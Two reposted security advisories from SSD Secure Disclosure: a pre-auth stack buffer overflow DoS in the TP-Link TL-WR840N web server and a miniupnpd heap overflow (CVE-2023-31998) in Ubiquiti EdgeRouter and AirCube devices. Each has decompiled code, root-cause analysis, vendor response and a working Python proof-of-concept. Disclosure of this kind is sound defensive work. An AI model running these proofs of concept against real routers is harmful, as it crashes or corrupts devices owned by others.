20 Čvc

SSD Advisory –  TP-Link TL-WR840N Stack Buffer Overflow DoS

Summary

A vulnerability in TP-Link’s TL-WR840N allows remote attackers to trigger a stack overflow vulnerability allowing remote attackers to cause a denial of service in httpd.

Credit

An independent security researcher, @delsploit, working with SSD Secure Disclosure.

Affected Devices

  • Device name: TL-WR840Nv6
  • Firmware version: 0.9.1_4.1.19

Vendor Response

The vendor has released a new firmware (TL-WR840N(KR)_V6.2_230702) available at: https://www.tp-link.com/kr/support/download/tl-wr840n/#Firmware

The vendor has stated that they have no plans to release an advisory or CVE for this vulnerability.

Technical Analysis

The TL-WR840N has some accessible paths which are pre-auth. The /cgi path is one of them.

int http_cgi_init()
{ return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default);
}

The httpd server uses http_cgi_init to register a handler function for /cgi. http_cgi_main.

int __fastcall http_cgi_main(unknown_structure *a1)
{ /* skip */ if ( !checkOidAuth(DescStr, cgi_param) ) // return 1 => pre-auth { cdbg_printf(8, "http_cgi_main", 819, "checkOidAuth(oid %s) is FALSE \n", DescStr); goto LABEL_93; } switch ( cgi_param ) { case 1u: v6 = rdp_getObj(1, DescStr, v45, data); // vulnerable path if ( v6 > 0 ) goto EXIT; if ( sub_40B0B0(client_type, actIndex++, (unsigned __int16 *)v45 + 1, data) ) goto LABEL_93; goto LABEL_85; /* skip */ }

The rdp_getObj is a path reachable to pre-auth that access the vulnerable function (dm_fillStrByObj).

int __fastcall rdp_getObj(int a1, int a2, int a3, int a4)
{ /* skip */ { _v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4); // vulnerable function _s2_5 = _v0_5; if ( _v0_5 ) { cdbg_perror("rdp_getObj", 310, _v0_5); _s0_1 = _s2_5; } dm_unLock(); } /* skip */
}

The dm_fillStrByObj function is vulnerable to stack buffer overflow.

unsigned int __fastcall dm_fillStrByObj(int a1, unsigned __int16 oid, int a3, t_obj *a4, unsigned int data_size, const char *data)
{ /* skip */ obj = dm_getObjNode(oid); if ( !obj ) { cdbg_printf(8, "dm_fillStrByObj", 2091, "Get object information failed. object oid = %u\n", v7); return 9804; } memset(index_list, 0, 70); v11 = strlen(data); if ( v11 ) { v15 = (_BYTE *)strchr(data, '\n'); v16 = (char *)data; param_idx = 0; while ( v15 ) { *v15 = 0; v17 = (_BYTE *)strchr(v16, '='); if ( v17 ) *v17 = 0; index = find_objParam_index(obj, v16); // [1] if ( index == -1 ) { v51 = v16; v52 = *(const char **)(obj + 8); v19 = 351; goto FAILED_INDEX; } v11 += ~(v15 - v16); index_list[param_idx] = index; // [2] param_idx = (unsigned __int16)(param_idx + 1); if ( !v11 ) goto LABEL_24; v16 = v15 + 1; v15 = (_BYTE *)strchr(v15 + 1, '\n'); } /* skip */
}

The 6th argument (data) is provided by the remote user as part of the input he gives in the URL.

It is converted to index after calling find_objParam_index at [1].

It is then saved into index_list[param_idx] at [2].

But there is no limitation on value used in param_id, it can be increased indefinitely. This results in an an OOB bug.

Because index_list is a local variable, it leads stack buffer overflow.

Due to the way the software was designed if you crash httpd, and httpd does not respawn.

Proof of Concept

import requests
headers = { "Host": "192.168.0.1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "text/plain", "Content-Length": "78", "Origin": "http://192.168.0.1", "Connection": "close", "Referer": "http://192.168.0.1/"
} payload = "\nModelName"*0x100
formdata = f"[IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\ndescription\nModelName{payload}\r\n" url = "http://192.168.0.1/cgi?1" response = requests.post(url, data=formdata, headers=headers)
print(response.text)

The post SSD Advisory –  TP-Link TL-WR840N Stack Buffer Overflow DoS appeared first on SSD Secure Disclosure.

a href=“https://ssd-disclosure.com/ssd-advisory-tp-link-tl-wr840n-stack-buffer-overflow-dos/“>Source / Zdroj

04 Čvc

SSD Advisory –  EdgeRouters and AirCube miniupnpd Heap Overflow

Summary

A vulnerability in EdgeRouters’s and AirCube’s miniupnpd allows LAN attackers to cause the service to overflow an internal heap and potentially execute arbitrary code.

Credit

An independent security researcher working with SSD Secure Disclosure.

CVE

CVE-2023-31998

Affected Devices

EdgeRouters 2.0.9-hotfix.6 and earlier

AirCube firmware version 2.8.8 and earlier

Vendor Response

The vendor has issued an advisory and fix for the vulnerability: Security Advisory Bulletin 033

Technical Analysis

A vulnerability in miniupnpd allows LAN attackers to cause a heap overflow in it.

The following are configuration and vulnerability requirements for a successful exploit to be launched.

Configuration requirements

miniupnpd exposes a dynamic TCP port to LAN clients. This port is discoverable through SSDP, and LAN clients may discover this port. miniupnpd is started through
/etc/init.d/upnpd.

Vulnerability requirements

Configuration of miniupnpd shall allow to add and list external NAT entries. This is the case with the default configuration of miniupnpd.

miniupnpd allows to configure and manage ingress NAT entries, offering a function called Internet Gateway Daemon. On Linux, which powers most home gateways, these NAT entries are either iptables or nftables based. The following diagram explains basic functionality of IGD:

The former – iptables – is supported on old systems, while the latter – nftables – has been more recently added, as depending on more recent kernel support. Openwrt has recently added this mode to miniupnpd package, and we can expect devices to switch to nftables mode in a near future. Ubuntu 22.04 already ships miniupnpd in its nftables flavor by default.

iptables-based miniupnpd has suffered from a heap overflow in the past, though not explicitly stated as security bug, fixed in revision a77d1ff9: iptcrdr.c: memory allocation fix in get_portmappings_in_range() :

@@ -1,7 +1,7 @@
- /* $Id: iptcrdr.c,v 1.60 2018/07/06 12:00:09 nanard Exp $ */
+ /* $Id: iptcrdr.c,v 1.62 2019/08/24 07:06:22 nanard Exp $ */ /* vim: tabstop=4 shiftwidth=4 noexpandtab * MiniUPnP project
- * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * http://miniupnp.free.fr/ or https://miniupnp.tuxfamily.org/ * (c) 2006-2019 Thomas Bernard
* This software is subject to the conditions detailed * in the LICENCE file provided within the distribution */ @@ -1617,6 +1617,9 @@ get_portmappings_in_range(unsigned short startport, unsigned short endport, { unsigned short * tmp; /* need to increase the capacity of the array */
+ capacity += 128;
+ if (capacity <= *number)
+ capacity = *number + 1; tmp = realloc(array, sizeof(unsigned short)*capacity); if(!tmp) {

get_portmappings_in_range walks through the external NAT entries and returns the exterior ports. As the number of matching entries is not known in advance, the function performs the allocation of the returned array of ports. An initial array of 128 ports is allocated, and possibly reallocated when the number of matching ports reaches the capacity of the initial array. The capacity however is not updated accordingly, it is left to the very same capacity as the initial capacity. Hence, the updated array is just the same as the initially allocated array, and the overflow occurs.

miniupnpd as shipped on Ubiquiti AirCube v2.8.6 contains get_portmappings_in_range, labelled as FUN_0040d314:

void * FUN_0040d314(ushort param_1, ushort param_2, uint param_3, uint * param_4) { ushort uVar1; void * __ptr; int iVar2; int * piVar3; undefined4 uVar4; int iVar5; uint uVar6; void * pvVar7; * param_4 = 0; /* 1 */ __ptr = calloc(0x80, 2); if (__ptr == (void * ) 0x0) { syslog(3, "%s() : calloc error", "get_portmappings_in_range"); } else { iVar2 = iptc_init( & DAT_0041451c); if (iVar2 != 0) { iVar5 = iptc_is_chain(PTR_s_MINIUPNPD_00426028, iVar2); if (iVar5 == 0) { syslog(3, "chain %s not found", PTR_s_MINIUPNPD_00426028); pvVar7 = __ptr; LAB_0040d3f8: __ptr = (void * ) 0x0; free(pvVar7); } else { iVar5 = iptc_first_rule(PTR_s_MINIUPNPD_00426028, iVar2); while (iVar5 != 0) { pvVar7 = __ptr; if ((( * (ushort * )(iVar5 + 0x50) == param_3) && (uVar1 = * (ushort * )(iVar5 + 0x94), param_1 <= uVar1)) && (uVar1 <= param_2)) { uVar6 = * param_4; /* 2 */ if ((0x7f < uVar6) && (pvVar7 = realloc(__ptr, 0x100), pvVar7 == (void * ) 0x0)) { syslog(3, "get_portmappings_in_range() : realloc(%u) error", 0x100); * param_4 = 0; pvVar7 = __ptr; goto LAB_0040d3f8; } /* 3 */ *(ushort * )((int) pvVar7 + uVar6 * 2) = uVar1; * param_4 = uVar6 + 1; } iVar5 = iptc_next_rule(iVar5, iVar2); __ptr = pvVar7; } } iptc_free(iVar2); return __ptr; } piVar3 = __errno_location(); uVar4 = iptc_strerror( * piVar3); syslog(3, "%s() : iptc_init() failed : %s", "get_portmappings_in_range", uVar4); free(__ptr); } return (void * ) 0x0;
}

This confirms the vulnerability is present in this binary:

  1. The return array is allocated for 128 ports, each being a uint16_t , e.g. 2 bytes long
  2. The array fails to be correctly reallocated, as the second argument to realloc has been replaced at compilation by the constant 0x100 . If the number of exterior NAT entries exceeds 128, the array will not be large enough
  3. Regardless of the reallocation, the port number is appended to the end of the array, resulting in a heap overflow

Proof of Concept

In order to trigger this vulnerability, a proof of concept has been developed and tested with success on another Ubiquiti device, EdgeRouter-X, whose latest firmware suffers from the same vulnerability:

#!/usr/bin/env python3
from struct import unpack
import requests
from socket import *
# miniupnpd port is expected to be 39639 here
# tcp port can be fixed using miniupnpd configuration file
# SSDP can be used against the real device to know the random port used
TARGET = '192.168.1.1:39639'
# get local ip address used to connect to miniupnpd
def get_local_ip(target): s = socket(AF_INET, SOCK_STREAM)
s.connect((target, 39639))
(addr, port) = s.getsockname()
s.close()
return addr
LOCAL_IP = get_local_ip(TARGET.split(':')[0])
def add_port_redirect(port=10002): payload = f'''<?xml version='1.0' encoding='utf-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAPENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewRemoteHost>0.0.0.0</NewRemoteHost> <NewExternalPort>{port}</NewExternalPort> <NewProtocol>TCP</NewProtocol> <NewInternalPort>{port}</NewInternalPort> <NewInternalClient>{LOCAL_IP}</NewInternalClient> <NewEnabled>1</NewEnabled> <NewPortMappingDescription>Test</NewPortMappingDescription> <NewLeaseDuration>3601</NewLeaseDuration> </m:AddPortMapping> </SOAP-ENV:Body>
</SOAPENV:Envelope>''' r = requests.post(f'http://{TARGET}/abcde/ctl/IPConn', headers={ 'SOAPAction': 'urn:schemas-upnporg:service:WANIPConnection:1#AddPortMapping'}, data=payload)
if r.status_code != 200:
print(r)
print(r.text)
raise Exception()
def get_port_mappings(): payload = f'''<?xml version='1.0' encoding='utf-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAPENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:GetListOfPortMappings xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewStartPort>0</NewStartPort> <NewEndPort>65535</NewEndPort> <NewProtocol>TCP</NewProtocol> <NewNumberOfPorts>256</NewNumberOfPorts> </m:GetListOfPortMappings> </SOAP-ENV:Body>
</SOAP-ENV:Envelope>''' r = requests.post(f'http://{TARGET}/abcde/ctl/IPConn', headers={ 'SOAPAction': 'urn:schemas-upnporg:service:WANIPConnection:1#GetListOfPortMappings'}, data=payload) assert (r.status_code == 200)
# create exterior NAT entries
for i in range(128):
add_port_redirect(1024+i)
# this port will be 128th entry
# this one and the followings will overflow the allocated array
add_port_redirect(1)
add_port_redirect(2)
add_port_redirect(0xaa)
# trigger the call to get_portmappings_in_range
get_port_mappings()

This vulnerability, which is reachable from LAN clients, has been fixed in commit a77d1ff9 , but not published as a security vulnerability. As a consequence, it is possible to find a vulnerable miniupnpd on home gateways or 5G dongles. Ubiquiti AirCube contains a vulnerable miniupnpd, and so does Ubiquiti EdgeRouterX for example. It is likely that other products relying either directly on upstream miniupnpd, or on router distribution such as openwrt , vyos or dd-wrt still ship today with vulnerable miniupnpd.

Next, nftables-based miniupnpd has been forked from existing iptables variant. Possibly as a consequence of the lack of communication around commit a77d1ff9, it currently does not include the fix above:

...
refresh_nft_cache_redirect();
LIST_FOREACH(p, & head_redirect, entry) { if (p -> proto == proto && startport <= p -> eport && p -> eport <= endport) { if ( * number >= capacity) { tmp = realloc(array, sizeof(unsigned short) * capacity); if (tmp == NULL) { syslog(LOG_ERR, "get_portmappings_in_range(): " "realloc(%u) error", (unsigned) sizeof(unsigned short) * capacity); * number = 0; free(array); return NULL; } array = tmp; } array[ * number] = p -> eport; ( * number) ++; }
}

The post SSD Advisory –  EdgeRouters and AirCube miniupnpd Heap Overflow appeared first on SSD Secure Disclosure.

a href=“https://ssd-disclosure.com/ssd-advisory-edgerouters-and-aircube-miniupnpd-heap-overflow/“>Source / Zdroj